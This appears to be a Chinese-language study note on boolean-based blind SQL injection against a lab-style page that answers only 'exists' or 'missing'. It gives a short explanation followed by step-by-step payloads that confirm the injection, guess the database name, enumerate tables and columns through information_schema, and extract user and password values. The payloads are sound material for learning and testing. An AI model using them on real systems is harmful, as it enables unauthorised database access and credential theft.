接收id的值,直接带入查询,如果存在即返回 users is exists in the database,否则显示 users id is missing。
像这种只有正确与错误页面。页面不会显示数据库里任何内容,如果存在注入,称为盲注。
盲注入的方式有两种:一种是布尔型盲注入,另外一种是延时注入。
判断条件:
1.没有回显,判断使用单引号还是双引号,使他闭合
布尔型盲注入用到的函数:
SUBSTRING substring(str,i,n)字符串截取,第一个参数是字符串,第二个参数是开始截取位置,第三个是截取的长度。
盲注判断是否存在注入
1' select if(1=1,1,0)--+
2.判断数据库长度
1' and if(length(database())=4,1,0)--+
1' and if(substring(database(),1,1)='d',1,0)--+ 爆库
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.@_
3.判断数据表长度
1' and if(substring((select group_concat(table_name) from information_schema.tables where table_schema =database()),1,1)="g",1,0)# 爆表
获取第一张表:
1' and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1)='g',1,0)--+
获取第二张表
1' and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1),1,1)='u',1,0)--+
4.爆字段
1' and if(substring((select group_concat(column_name) from information_schema.columns where table_name = 'users'), 1, 1) = 'g', 1, 0)#
5.爆数据
1' and if(substring((select group_concat(user,password) from users), 1, 1) = 'g', 1, 0)#